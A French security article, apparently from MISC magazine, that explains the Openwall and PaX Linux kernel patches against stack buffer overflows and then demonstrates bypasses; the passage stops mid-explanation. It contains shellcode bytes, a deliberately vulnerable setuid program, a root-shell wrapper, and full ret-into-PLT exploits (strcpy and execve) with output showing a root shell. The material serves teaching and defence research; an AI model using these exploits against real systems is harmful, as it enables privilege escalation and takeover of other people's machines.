Cet article poursuit la série entamée dans MISC 1 sur les protections contre les débordements de buffer. Nous avions essentiellement introduit la structure d'un programme Elf et le mécanismes gérant la résolution de symboles (PLT/GOT).
Dans celui-ci, nous présentons deux défenses agissant au niveau du noyau afin de rendre la pile non exécutable : les patches Openwall et PaX. Pour chacun d'eux, nous étudierons les choix techniques mis en oeuvre et les limites imposées par ces solutions. Enfin, dans une dernière partie, nous apporterons quelques précisions sur un article de Nergal [3] qui propose un moyen de contourner PaX qui fonctionne également contre Openwall.
Le project Openwall (http://www.openwall.com
)
regroupe divers produits, comme le "craker de mot de passe" John
the Ripper ou le serveur popa3d pour n'en citer que deux. Openwall
fournit également un patch pour le noyau Linux, développé par Solar
Designer, qui propose plusieurs protections supplémentaires comme
:
/tmp
(et autres répertoires marqués du bit
't') ;/proc
;RLIMIT_NPROC
) à execve()
(et non plus
uniquement à fork())
;Les fichiers README
et FAQ
qui viennent
avec l'archive vous décriront bien plus en détails tout ceci.
Des versions de ce patch sont disponibles uniquement pour les noyaux 2.0.39 et 2.2.20. Le support des 2.4.x n'est pas prévu pour tout de suite, Solar Designer préférant attendre que cette version se stabilise avant de se lancer dans le portage de son patch.
Dans cet article, nous nous intéressons uniquement à la protection
contre les débordements de buffer. Le mécanisme employé repose sur les
interruptions : lorsqu'une fonction se termine, la fonction
do_general_protection()
(linux/arch/i386/kernel/traps.c
) est appelée si l'adresse
de retour n'est pas située dans une région valide. Le patch redéfinit
la région allouée au code utilisateur de manière à ce qu'elle ne
comprenne pas la pile. Ainsi, lors d'un retour effectué directement
dans la pile, une interruption est levée puis traitée.
CONFIG_SECURE_STACK
Dans le monde des microprocesseurs, une interruption est définie comme un événement qui modifie le cours normal de l'exécution d'un programme. Elles sont classées en deux catégories :
Les manuels des processeurs Intel 80x86 désigne une interruption synchrone par le terme exception et une asynchrone par interruption. Le terme signal d'interruption regroupe ces deux dénominations. Lorsqu'un signal d'interruption parvient au processeur, celui-ci arrête ce qu'il est en train de faire et exécute le gestionnaire (ou handler) associé au signal.
Il existe deux sortes d'exceptions :
int
80
dans les shellcode).# | Exception | Gestionnaire d'exception | Signal |
0 | Divide error | divide_error() | SIGFPE |
4 | Overflow | overflow() | SIGSEGV |
7 | Device not available | device_not_available() | SIGSEGV |
11 | Segment not present | segment_not_present() | SIGBUS |
12 | Stack exception | stack_segment() | SIGBUS |
13 | General protection | general_protection() | SIGSEGV |
14 | Page fault | page_fault() | SIGSEGV |
16 | Floating point error | coprocessor_error() | SIGFPE |
Lors de l'exploitation d'un débordement de buffer dans la pile en
remplaçant la valeur de retour de la fonction courante, le registre
d'instruction %eip
se retrouve à pointer dans la
pile. Or, le patch d'Openwall déplace le sommet de la zone de code
pour les processus utilisateur en fonction de la mémoire disponible
(pour les gourous du noyau, cela se passe dans le fichier
arch/i386/kernel/head.S
lors de la définition de la GDT -
Global Descriptor Table). Ainsi, le registre %eip
sort de la zone qui est valide pour lui, ce qui déclenche une
interruption gérée par la fonction
do_general_protection()
. La patch d'Openwall adapte
simplement ce gestionnaire :
diff -urPX nopatch linux-2.2.20/arch/i386/kernel/traps.c linux/arch/i386/kernel/traps.c --- linux-2.2.20/arch/i386/kernel/traps.c Sat Nov 3 01:07:44 2001 +++ linux/arch/i386/kernel/traps.c Sat Nov 3 03:44:21 2001 [...] asmlinkage void do_general_protection(struct pt_regs * regs, long error_code) { [...} +/* + * Check if we're returning to the stack area, which is only likely to happen + * when attempting to exploit a buffer overflow. + */ + if ((addr & 0xFF800000) == 0xBF800000 || + (addr >= PAGE_OFFSET - _STK_LIM && addr < PAGE_OFFSET)) + security_alert("return onto stack running as " + "UID %d, EUID %d, process %s:%d", + "returns onto stack", + current->uid, current->euid, + current->comm, current->pid); + } [...] }
Le simple test (addr & 0xFF800000) == 0xBF800000
suffit
à vérifier si l'adresse de retour pointe dans la pile, le reste de la
condition contrôlant simplement que cette adresse est bien dans un
intervalle légal.
CONFIG_SECURE_STACK
?Il existe différentes méthodes pour exploiter un débordement de buffer dans la pile. La plus répandue consiste à remplacer l'adresse de retour de la fonction où se produit le débordement par l'adresse d'un shellcode que l'attaquant aura pris soin de placer au préalable en mémoire (via une variable d'environnement ou une option du programme par exemple).
Une autre approche, appelée return into libc (retour dans la libc) consiste à modifier l'adresse de retour pour la faire pointer directement vers une fonction dans la libc (voir [3, 4]).
Nous avons présenté dans le précédent article (voir [1]) les différentes zones mémoire disponibles pour une variable. Le tableau 2 résume cela.
Zone mémoire | Variable | Portée | Durée de vie |
---|---|---|---|
.bss |
globale (non initialisée) | processus | toute l'exécution du processus |
.data |
globale (initialisée) | processus | toute l'exécution du processus |
tas (heap) | dynamique | locale | du malloc() au free() correspondant |
pile (stack) | automatique | locale | fonction courante |
.data
, le
.bss
ou le tasReprenons les petits programmes utilisés dans l'introduction (voir [1]) qui simulent des débordements de buffer en plaçant un shellcode classique dans ces différentes zones mémoire :
$ ./sh_data sh-2.04$ exit $ ./sh_bss sh-2.04$ exit $ ./sh_heap sh-2.04$ exit $
Dans les trois cas, le shellcode est exécuté. Cela n'a rien de surprenant puisque la documentation du patch précise bien que celui-ci ne protège que la pile.
Il y a quand même un détail étonnant. Dans ces trois programmes,
le shellcode se situe à l'adresse 0x8049520
(sh_data
), 0x80496c0
(sh_bss
)
et 0x80496b0
(sh_heap
). Le fichier
/proc/<pid>/maps
nous renseigne sur les droits des
différentes zones mémoire :
$ ./sh_data ^Z [3]+ Stopped ./sh_data $ cat /proc/`ps | grep sh_ | awk '{print $1}'`/maps 00110000-00126000 r-xp 00000000 08:01 26579 /lib/ld-2.2.2.so 00126000-00127000 rw-p 00015000 08:01 26579 /lib/ld-2.2.2.so 00127000-00128000 rw-p 00000000 00:00 0 00133000-0025c000 r-xp 00000000 08:01 26588 /lib/libc-2.2.2.so 0025c000-00261000 rw-p 00128000 08:01 26588 /lib/libc-2.2.2.so 00261000-00265000 rw-p 00000000 00:00 0 08048000-08049000 r-xp 00000000 08:03 884812 /home/raynal/Openwall/sh_data 08049000-0804a000 rw-p 00000000 08:03 884812 /home/raynal/Openwall/sh_data bfffe000-c0000000 rwxp fffff000 00:00 0
Les régions .data
, .bss
et le tas se
situent dans la plage d'adresses 0x08049000-0x0804a000
.
Or, les droits rapportés sont rw-p
et le caractère
x
, qui indique le droit d'exécution, n'est pas présent.
Malgré cela, le shellcode est exécuté. En fait, cela est possible car,
pour Linux, le droit de lecture implique celui d'exécution. Tous les
détails sont donnés dans la partie sur PaX car cela constitue le point
crucial de cette protection.
Nous nous intéressons maintenant au programme sh_stack
qui simule un débordement de buffer dans la pile. Pour cela, l'adresse
de retour d'une fonction est remplacée par celle d'une variable
automatique contenant le shellcode (voir [1]).
/* sh_stack.c */ int main() { int * ret; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; * ((int *) & ret + 2) = (int) shellcode; return (0); }
Lorsque la distribution RH 7.0 est sortie, les gens de chez Red Hat ont trouvé futé de prendre comme compilateur une version de développement : la version 2.96. Celle-ci n'existe que chez Red Hat -- et toutes les distributions qui utilisent les mêmes paquets -- et comporte certains problèmes ... Du coup, il faut remplacer le +2 par +4 dans l'exemple ci-dessus.
Maintenant que l'adresse de retour est modifiée pour
pointer directement dans la pile, à l'endroit où est placé
shellcode
, une exception est levée et le patch Openwall
provoque une faute de segmentation (enfin, si l'option appropriée
a été sélectionnée lors de la compilation du noyau). Un fichier
core
est généré :
$ ./sh_stack Segmentation fault (core dumped) $ gdb sh_stack core [...] Core was generated by `./sh_stack'. Program terminated with signal 11, Segmentation fault. #0 0x0804845f in main () at sh_stack.c:12 12 } (gdb) disass main [...] 0x804845e <main+46>: pop %ebp 0x804845f <main+47>: ret
Le programme a planté sur le ret
censé nous emmener
au début de notre shellcode. En effet, il a détecté que nous allions
placer le registre d'instruction %eip
sur la pile, ce qui
est considéré comme une tentative d'exploitation d'un débordement de
buffer.
Par ailleurs, signalons que le patch prévoit également un
système de log pour enregistrer les tentatives d'exécution
dans la pile. Il suffit d'ajouter la ligne suivante dans
/etc/syslog.conf
:
kern.alert /var/log/alert
Le fichier /var/log/alert
contient un message signalant
un problème :
[root(at)charly]# tail -n 1 /var/log/alert Jan 27 18:12:36 charly kernel: Security: return onto stack running as UID 1000, EUID 1000 process sh_stack:22281
Une technique pour exploiter les débordements de buffer est
de modifier l'adresse de retour de la fonction vulnérable pour
l'emmener directement dans la libc. L'intérêt est alors de ne
pas avoir besoin de shellcode puisqu'à la place, il est possible
de faire exécuter les fonctions de son choix, comme par exemple
system("/bin/sh")
.
L'objectif est de remplacer dans la pile les différents registres
sauvegardés par des valeurs qui représentent des appels de fonctions.
Ainsi, en figure 1, l'adresse de retour est écrasée
pour être remplacée par celle de la fonction system()
.
Nous n'allons pas faire durer le suspense plus longtemps :
cette méthode ne fonctionne pas avec le patch Openwall. En effet,
en même temps que CONFIG_SECURE_STACK
, le patch en
profite pour redéfinir l'adresse où sont chargées les bibliothèques
en mémoire. Ainsi, pour le format Elf, le patch effectue l'opération
suivante :
diff -urPX nopatch linux-2.2.20/include/asm-i386/processor.h linux/include/asm-i386/processor.h --- linux-2.2.20/include/asm-i386/processor.h Mon Mar 26 07:13:23 2001 +++ linux/include/asm-i386/processor.h Sat Nov 3 04:12:44 2001 [...] #define TASK_SIZE (PAGE_OFFSET) [...] /* This decides where the kernel will search for a free chunk of vm * space during mmap's. */ +#if defined(CONFIG_SECURE_STACK) && defined(CONFIG_BINFMT_ELF) +extern struct linux_binfmt elf_format; +#define TASK_UNMAPPED_BASE(size) ( \ + current->binfmt == &elf_format && \ + !(current->flags & PF_STACKEXEC) && \ + (size) < 0x00ef0000UL \ + ? 0x00110000UL \ + : TASK_SIZE / 3 ) +#else #define TASK_UNMAPPED_BASE (TASK_SIZE / 3) +#endif [...]
La nouvelle définition de TASK_UNMAPPED_BASE
provoque le chargement des bibliothèques à partir de
l'adresse 0x00110000
. Normalement, la constante
TASK_SIZE
est en fait égale à PAGE_OFFSET
(dans include/asm-i386/processor.h
), elle-même
définie à partir de PAGE_OFFSET_RAW
(dans
include/asm-i386/page.h
) qui vaut 0xC0000000
(le patch d'Openwall la redéfinit en fonction de la mémoire disponible).
Ainsi, les bibliothèques sont ordinairement chargées à partir de
l'adresse 0xC0000000/3=0x40000000
. Il est assez simple de
vérifier cela :
/* noyau 2.4.17 non patché */ $ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:07 689 /bin/cat 0804c000-0804d000 rw-p 00003000 03:07 689 /bin/cat 0804d000-08051000 rwxp 00000000 00:00 0 40000000-40016000 r-xp 00000000 03:07 58767 /lib/ld-2.2.4.so [1] 40016000-40017000 rw-p 00015000 03:07 58767 /lib/ld-2.2.4.so [...] /* noyau 2.2.20 patché */ $ cat /proc/self/maps 00110000-00125000 r-xp 00000000 08:01 28858 /lib/ld-2.2.4.so [1] 00125000-00126000 rw-p 00014000 08:01 28858 /lib/ld-2.2.4.so 00126000-00127000 rw-p 00000000 00:00 0 ... 08048000-0804a000 r-xp 00000000 08:01 45459 /bin/cat 0804a000-0804c000 rw-p 00001000 08:01 45459 /bin/cat [...] [1] Chargement des bibliothèques
Ainsi, comme les adresses des fonctions contiennent maintenant un caractère NULL, s'il est possible de les placer dans la pile, il est impossible de mettre ensuite les adresses des arguments dont elles ont besoin.
Dans la suite de cet article, nous considérons le programme vulnérable suivant :
/* vuln.c */ #include <stdio.h> int make_buffer( char * buffer, char * egg ) { if ( strstr(egg, "sh") != NULL ) { exit( -1 ); } strcpy( buffer, "/bin/" ); strcat( buffer, egg ); return 0; } int main( int argc, char * argv[] ) { char buffer[128]; char * exec_argv[] = { buffer, NULL }; make_buffer( buffer, argv[1] ); exec_argv[0] = buffer; execve( exec_argv[0], exec_argv, 0 ); return 0; }
Cette méthode est présentée dans [2], excellent article de Nergal qui donne deux méthodes pour contourner le patch Openwall. Il vient également de produire un article déjà incontournable dans Phrack 58 qui décrit différentes solutions pour contourner PaX à l'aide de la technique dite de ret-into-libc (voir [3]).
Comme nous venons de le voir, si on place le shellcode dans la
pile, celui-ci ne peut pas être exécuté. Il suffit donc de le placer
ailleurs :) Pour cela, nous modifions la pile de la fonction où
se produit le débordement. Le principe est de reconstruire dans
la pile un environnement correspondant à l'appel d'une fonction
type strcpy()
, c'est-à-dire de fournir (voir fig. 2) :
strcpy()
(voir [1]) ;Lorsqu'il s'agit de quitter la fonction vulnérable, l'adresse
de retour considérée est celle de la PLT de la fonction
strcpy()
. Cette fonction réclame deux arguments :
une adresse source et une destination. En guise d'adresse source,
on lui passe celle du shellcode déjà placé par exemple dans une
variable d'environnement. Pour l'adresse destination, n'importe
quelle adresse dans la région des données convient. Ainsi, cet appel
à strcpy()
place le shellcode dans les données puis, en
quittant strcpy()
, le registre %eip est restauré à l'aide
de cette même adresse destination , i.e. celle du shellcode
nouvellement placé dans la section des données.
Déterminons les trois valeurs dont nous avons besoin pour exploiter le programme :
objdump
nous fournit le code assembleur du programme. Nous devons
alors rechercher dedans une instruction du genre sub XX,
%esp
:
$ objdump --disassemble ./vuln [...] 080483e4 <make_buffer>: 80483e4: 55 push %ebp 80483e5: 89 e5 mov %esp,%ebp 80483e7: 57 push %edi 80483e8: 81 ec 84 00 00 00 sub $0x84,%esp [...]Ici, nous obtenons donc la valeur 132 (0x84) d'écart entre le pointeur de frame %esp et le sommet de la pile (%ebp). Donc, comme l'adresse de retour est sauvegardée 4 octets au-dessus de %ebp, la valeur que nous recherchons est bien de 136.
buffer
(&buffer == %esp
).
strcpy()
:$ objdump -T ./vuln | grep strcpy 0804841c DF *UND* 0000001f GLIBC_2.0 strcpy
$ objdump -j .data -s ./vuln ./vuln: file format elf32-i386 Contents of section .data: 8049674 00000000 00000000 94960408 00000000 ................
Dernier détail avant de se lancer dans l'exploitation elle-même, les
versions récentes de bash (et donc de /bin/sh
) abaissent
les privilèges avant que nous obtenions le shell et /bin/sh
fait un segmentation fault si nous lui fournissons un pointeur NULL
par argv (c'est le cas avec notre buffer). Donc plutot que de lancer
/bin/sh
dans notre exploit, nous écrivons un petit
programme (un wrapper) qui nous donne les droits root avant de lancer un
shell bash classique :
#include <unistd.h> int main() { char * name [] = { "/bin/sh", NULL }; setuid( 0 ); setgid( 0 ); execve( name[0], name, NULL ); _exit( 0 ); }
L'exploit suivant construit le buffer que nous venons de décrire puis appelle le programme vulnérable :
/* xowl-strcpy.c */ #include <stdio.h> #include <stdlib.h> #define STACK ( 0xc0000000 - 4 ) #define PLT 4 #define EBP 4 #define DST 4 #define SRC 4 #define PATH "./vuln" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/qq"; int main( int argc, char * argv[] ) { char * buffer; char * exec_argv[] = { PATH, NULL, NULL }; char * envp[] = { shellcode, NULL }; char * ptr; int i, size = atoi( argv[1] ) - sizeof( "/bin/" ) + 1; u_int plt = strtoul( argv[2], 0, 16 ); u_int dst = strtoul( argv[3], 0, 16 ); ptr = buffer =( char * )malloc( size + EBP + PLT + DST + DST + SRC + 1 ); memset( ptr, 'A', size + EBP ); /* let's go for overflow ... */ ptr += size + EBP; *(u_int *)(ptr) = plt; /* fake eip */ ptr += PLT; *(u_int*)(ptr) = dst; /* fake ret from 'plt()' (shellcode) */ ptr += DST; *(u_int*)(ptr) = dst; /* plt()'s arg1 (dst) */ ptr += DST; /* plt()'s arg2 (src - exact address of shellcode in env) */ *(u_int*)(ptr) = STACK - sizeof( PATH ) - sizeof( shellcode ); ptr += SRC; ptr = 0; exec_argv[1] = buffer; execve( exec_argv[0], exec_argv, envp ); return( -1 ); }
Fort de nos paramètres, il ne nous reste plus qu'à le lancer :
$ ls -l ./vuln -rwsr-sr-x 1 root root 14003 Jan 26 18:06 ./vuln $ ./xowl-strcpy 136 0x0804841c 0x8049674 sh-2.05# id uid=0(root) gid=0(root) groups=1000(users)
PaX est apparu il y a plus d'un an et comme toutes les autres protections, elle peut aussi être contournée. Beaucoup de mails ont d'ailleurs été échangés sur Bugtraq quant à l'utilité de ce patch, la prouesse technique n'étant pas contestée. Toutefois si nous regardons de plus près les fonctionnalités de PaX, nous nous apercevons qu'avec certaines protections activées, contourner ce patch n'est pas si aisé que cela. Il propose en effet les protections suivantes :
Des versions de ce patch sont disponibles pour les derniers noyaux 2.2 et 2.4.
Dans la suite de cet article, nous étudierons les protections CONFIG_PAX_PAGEEXEC et CONFIG_PAX_RANDMMAP. Mais avant de détailler le fonctionnement de PaX, nous présentons quelques mécanismes propres au noyau Linux, indispensables à une bonne compréhension du fonctionnement de ce patch.
Tout Unix récent implémente un système de gestion de mémoire virtuelle. Elle est surtout indispensable pour :
Sa gestion est transparente vis-à-vis des utilisateurs et assure la protection des programmes et de leurs données (partie qui n'est pas abordée ici). Seule l'implémentation de la mémoire virtuelle est expliquée ci-dessous en vue de comprendre le fonctionnement de PaX.
Nous distinguons sur un système Linux deux types d'adresses : les adresses physiques (mémoire réelle du système) et virtuelles (mémoire ... virtuelle du système). L'espace virtuel est segmenté en deux zones : l'espace utilisateur (0x00000000 à 0xc0000000-1) et l'espace noyau (0xc0000000 à 0xffffffff). Pour la distribution Caldera, l'espace utilisateur est 0x00000000 à 0x80000000-1 et l'espace noyau 0x80000000 à 0xfffffff. Chaque zone est organisée en blocs d'octets contigus (4Ko ou 4Mo), appelés pages. Il est impossible à un processus utilisateur d'accéder à l'espace noyau de la mémoire, le contraire n'étant pas vrai.
Chaque processus dispose d'un espace d'adressage virtuel géré par
la structure mm_struct
(linux/sched.h
) :
struct mm_struct { struct vm_area_struct *mmap; /* list of VMAs */ struct vm_area_struct *mmap_avl; /* tree of VMAs */ struct vm_area_struct *mmap_cache; /* last find_vma result */ [...] };
ainsi que par la structure vm_area_struct (linux/mm.h) vers laquelle pointent certains champs :
/* * This struct defines a memory VMM memory area. There is one of these * per VM-area/task. A VM area is any part of the process virtual memory * space that has a special rule for the page-fault handlers (ie a shared * library, the executable area etc). */ struct vm_area_struct { struct mm_struct * vm_mm; /* VM area parameters */ unsigned long vm_start; unsigned long vm_end; /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next; pgprot_t vm_page_prot; unsigned short vm_flags; [...] };
Elle représente une région de mémoire virtuelle associée au
processus. Chaque région est caractérisée par une adresse de début
(vm_start
), une de fin (vm_end
), des droits
d'accès (lecture, écriture et exécution) représentés par le champ
vm_flags
, des protections de pages
(vm_page_prot
), et l'objet en cours d'exécution (par
exemple les bibliothèques partagées). Les caractéristiques de ces
régions peuvent être retrouvées grâce au fichier maps de chaque
processus, dans le système de fichiers /proc (voir [1]).
Afin d'allouer la mémoire, le processeur effectue une traduction ou translation d'adresses, qui transforme les adresses virtuelles en adresses physiques. Cette allocation ne se fait pas par blocs de mémoire mais page par page selon les besoins (les pages de 4Ko dont nous avons parlé plus haut).
Le mécanisme ne sera pas expliqué ici (voir [5] pour de plus amples détails). Il suffit de savoir que, pour effectuer cette translation, Linux manipule différentes tables (la seconde n'est en réalité pas utilisée pour l'architecture x86, mais elle est conservée pour des raisons de compatibilités avec les autres architectures) :
Cette dernière est la plus importante pour la suite. Une entrée dans cette table permet d'accéder aux adresses de pages mémoire contenant le code ou les données utilisées par le noyau ou les processus utilisateurs.
Les protections des pages (champ vm_page_prot dans la structure
vm_area_struct) peuvent prendre les valeurs suivantes définies dans le
fichier asm/pgtables.h
:
/* * The 4MB page is guessing.. Detailed in the infamous "Chapter H" * of the Pentium details, but assuming intel did the straightforward * thing, this bit set in the page directory entry just means that * the page directory entry points directly to a 4MB-aligned block of * memory. */ #define _PAGE_PRESENT 0x001 #define _PAGE_RW 0x002 #define _PAGE_USER 0x004 #define _PAGE_PWT 0x008 #define _PAGE_PCD 0x010 #define _PAGE_ACCESSED 0x020 #define _PAGE_DIRTY 0x040 #define _PAGE_4M 0x080 /* 4 MB page, Pentium+, if present.. */ #define _PAGE_GLOBAL 0x100 /* Global TLB entry PPro+ */
Depuis les processeurs Pentium, le noyau Linux utilise une pagination étendue. Les pages peuvent alors avoir une taille de 4Ko ou de 4Mo.
Les deux paramètres qui nous intéressent sont _PAGE_RW
et _PAGE_USER
. Le premier spécifie les droits d'accès
(écriture/lecture si le flag est à 1 ou lecture sinon) à la table des
pages ou aux pages elles-mêmes. Le second concerne les privilèges pour
y accéder (user si le flag est à 1, ou supervisor sinon, c'est-à-dire
en mode noyau).
Comme nous l'avons vu, les droits d'accès aux pages d'une
région sont représentés par le champ vm_flags de la structure
vm_area_struct
. Elles peuvent alors avoir les droits de
lecture (VM_READ
), d'écriture (VM_WRITE
),
d'exécution (VM_EXEC
) ou encore de partage
(VM_SHARED
) que nous ignorerons par la suite.
Le schéma de protection implique une relation entre les droits
d'accès des pages d'une région de mémoire et ceux de chaque entrée de la
table des pages (décrite par le tableau protection_map[]
dans mm/mmap.c
).
Si vous avez suivi, vous avez pu remarquer qu'un problème va apparaître du fait que les processeurs IA-32 ont seulement deux bits de protection (drapeaux Read/Write et User/Supervisor) sur les entrées des tables de pages contre trois pour les privilèges des pages d'une région.
Linux, pour résoudre ce problème, considère que :
Du fait des caractéristiques des CPUs IA-32, il est impossible de dissocier les privilèges des pages en lecture/écriture des privilèges en exécution. C'est là que PaX entre en action :)
PaX définit le flag PAGE_EXEC
dans les tables des
pages. Cette prouesse technique permet alors de dissocier les droits
d'exécution et de lecture des pages mémoire.
Quels en sont les impacts ? Le noyau peut alors assurer que des pages avec les permissions en écriture ne sont pas exécutables. Concrètement, cela signifie qu'il est impossible d'exécuter du code sur la pile ou dans le tas.
C'est vérifiable avec le fichier maps d'un processus :
$ cat /proc/258/maps 08048000-080ca000 r-xp 00000000 03:01 419059 /usr/bin/vim 080ca000-080d1000 rw-p 00081000 03:01 419059 /usr/bin/vim 080d1000-080f8000 rw-p 00000000 00:00 0 [1] 40000000-40012000 r-xp 00000000 03:01 225598 /lib/ld-2.1.3.so 40012000-40014000 rw-p 00011000 03:01 225598 /lib/ld-2.1.3.so [...] 40157000-40159000 rw-p 00000000 00:00 0 bfffb000-c0000000 rw-p ffffc000 00:00 0 [2]
Nous pouvons voir que les lignes [1] et [2] (pile) qui sont
d'ordinaire exécutables ont seulement les permissions en
lecture/écriture et non exécutable. Quant au tas, la commande
objdump
nous fournit son adresse :
$ /usr/bin/objdump -h /usr/bin/vim | grep '^ 21' 21 .bss 00002ecc 080d04a0 080d04a0 000874a0 2**5 $ perl -e 'printf("heap: 0x%08x\n", 0x080d04a0 + 0x00002ecc)' heap: 0x080d336c
L'adresse du tas est bien dans l'espace d'adresses de la ligne [1] qui est non exécutable.
Il ne faut cependant pas croire que le débordement de buffers situés
dans la pile ou dans le tas ne sont plus exploitables. En effet, malgré
l'implémentation du flag PAGE_EXEC
, certaines pages mémoire
ont besoin d'être créées avec les permissions lecture/exécution :
les pages du code correspondant au programme en cours d'exécution et
celles des librairies partagées (cf. le fichier maps vu précédemment).
Le principe général pour contourner PaX est de rediriger l'exécution
du processus vers des pages exécutables après y avoir inséré ce que
nous voulons exécuter. Une autre méthode (décrite plus loin) est de
placer un shellcode en mémoire et de rendre l'espace mémoire occupé par
le shellcode exécutable à l'aide de la fonction mmap().
Pour tester l'efficacité de PaX, considérons le même programme vulnérable utilisé pour Openwall :
$ ./vuln `perl -e 'print "A" x 600'` Segmentation fault $
Les tests qui suivent sont effectués cette fois-ci sur une Debian 2.2. Par conséquent, nous n'avons plus les problèmes de gcc rencontrés sur Red Hat. Lançons donc l'exploit que nous aurions normalement développé sur un système sans PaX :
$ /bin/cat x.c #include <stdio.h> #define STACK ( 0xc0000000 - 4 ) #define EIP 4 #define EBP 4 #define SIZE 128*sizeof(char) - sizeof("/bin/") + 1 #define PATH "./vuln" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main( int argc, char * argv[] ) { char buffer[ SIZE + EBP + EIP + 1 ]; char * exec_argv[] = { PATH, buffer, NULL }; char * envp[] = { shellcode, NULL }; int i; for ( i = 0; i < SIZE + EBP; i++ ) { buffer[i] = 'A'; } *( (size_t *) &(buffer[i]) ) = STACK - sizeof( PATH ) - sizeof( shellcode ); i += sizeof( size_t ); buffer[i] = '\0'; execve( exec_argv[0], exec_argv, envp ); return( -1 ); } $ make x cc x.c -o x $ ./x PAX: terminating task: vuln:330, EIP: BFFFFFC7, ESP: BFFFFE34 PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e Killed
Tout cela paraît donc évident. Nous voulons exécuter du code sur
la pile et puisque la pile n'est pas exécutable, PaX se déclenche. La
seconde ligne : 'PAX: bytes at EIP: eb 1f 5e 89 ...
' montre
effectivement les octets de notre shellcode à l'adresse EIP.
Le principe pour contourner PaX est d'écraser l'adresse EIP avec une adresse d'une région mémoire où les pages sont exécutables, c'est-à-dire celles des librairies partagées ou du code du programme lui-même. Je ne réexpliquerai pas ici le fonctionnement de la PLT (Procedure Linkage Table) mais simplement la manière de s'en servir contre PaX.
Deux solutions (au moins ;) s'offrent à nous. La première est d'écraser l'adresse de retour avec l'adresse PLT d'une fonction de la librairie partagée si notre programme en appelle une. L'avantage de cette solution est que les adresses PLT ne contiennent jamais d'octets nuls (même avec Openwall), et qu'elles dépendent seulement du binaire (et donc de la distribution Linux). Une autre solution est d'utiliser le code d'une fonction dans la libc, celle-ci étant chargée même si notre programme vulnérable n'appelle pas cette fonction. Il suffit simplement que la libc soit chargée... ce qui arrive quasiment toujours.
Utilisons la première méthode, c'est-à-dire avec la PLT d'une fonction et plus particulièrement execve(). Le buffer fournit en argument sera donc construit de facon à ce qu'au moment d'exécuter le code, ce soit la fonction execve() (int execve (const char * fichier, char * constargv [], char * constenvp[]) qui soit invoquée avec les arguments que nous aurons pris soin de lui fournir :
[ A x (size + ebp) ][ eip = PLT execve() ][ junk ][ shell ][ null ][ null ]
Nous fournissons à la fonction execve() le shell à exécuter et un pointeur NULL pour argv et envp. Le 'junk' est une adresse quelconque, permettant de garder la trame de la pile (ou stack frame) valide (voir Fig. 1 dans la partie Openwall).
Il nous reste ensuite à récupérer la PLT de execve qui sera notre adresse de retour :
$ objdump -T ./vuln | grep execve 08048380 DF *UND* 00000056 GLIBC_2.0 execve
Et pour finir voici l'exploit modifié pour contourner PaX (à savoir que nous utilisons comme shell le même wrapper que pour Openwall) :
$ /bin/cat xplt.c #include <stdio.h> #define STACK ( 0xc0000000 - 4 ) #define EIP 4 #define EBP 4 #define SIZE 128*sizeof(char) - sizeof("/bin/") + 1 #define JUNK_SIZE 4*sizeof(char) #define FILENAME_SIZE sizeof(char *) #define ARGV_SIZE sizeof(char *) #define ENVP_SIZE sizeof(char *) #define PATH "./vuln" #define PLT 0x08048380 #define SH "./shell" int main( int argc, char * argv[] ) { char buffer[ SIZE + EBP + EIP + JUNK_SIZE + FILENAME_SIZE + ARGV_SIZE + ENVP_SIZE + 1 ]; char * exec_argv[] = { PATH, buffer, NULL }; char * envp[] = { SH, NULL }; char junk[] = "xxxx"; int i; for ( i = 0; i < SIZE + EBP; i++ ) { buffer[i] = 'A'; } *( (size_t *) &(buffer[i]) ) = PLT; i += sizeof( size_t ); *( (size_t *) &(buffer[i]) ) = *( (size_t *)( &junk )); i += sizeof( size_t ); *( (size_t *) &(buffer[i]) ) = STACK - sizeof( PATH ) - sizeof( SH ); i += sizeof( size_t ); *( (size_t *) &(buffer[i]) ) = STACK; i += sizeof( size_t ); *( (size_t *) &(buffer[i]) ) = STACK; i += sizeof( size_t ); buffer[i] = '\0'; execve( exec_argv[0], exec_argv, envp ); return( -1 ); }
Les deux pointeurs que nous fournissons à execve() sont égaux à STACK (0xc0000000-4) qui représente le début de la pile, et sont bien NULL à cet endroit.
$ ./xplt
sh-2.03#
La fonction mmap() (void * mmap(void *start, size_t length, int
prot, int flags, int fd, off_t offset)i
) permet de projeter un
fichier (ou un périphérique) dans une zone mémoire dont nous contrôlons
les protections grâce au paramètre 'prot'. Parmi les protections
possibles, PROT_EXEC gère le droit d'exécution dans la zone mémoire.
C'est exactement ce qu'il nous faut pour contourner PaX.
En effet, il suffit alors de placer un classique shellcode en mémoire (dans la pile par exemple) et d'accorder les droits d'exécution à l'adresse correspondante. Le programme suivant illustre ce mécanisme. Le shellcode est chargé en mémoire (la variable 'statbuf' renferme les informations sur le fichier qui contient le shellcode) :
src = mmap( 0, statbuf.st_size, PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FILE, desc, 0 );
Puis l'adresse de retour de notre programme est remplacée par celle du shellcode :
*( (size_t *)&(buffer[132]) ) = (size_t)src;
C'est donc bien notre shellcode qui est exécuté à la sortie du programme :
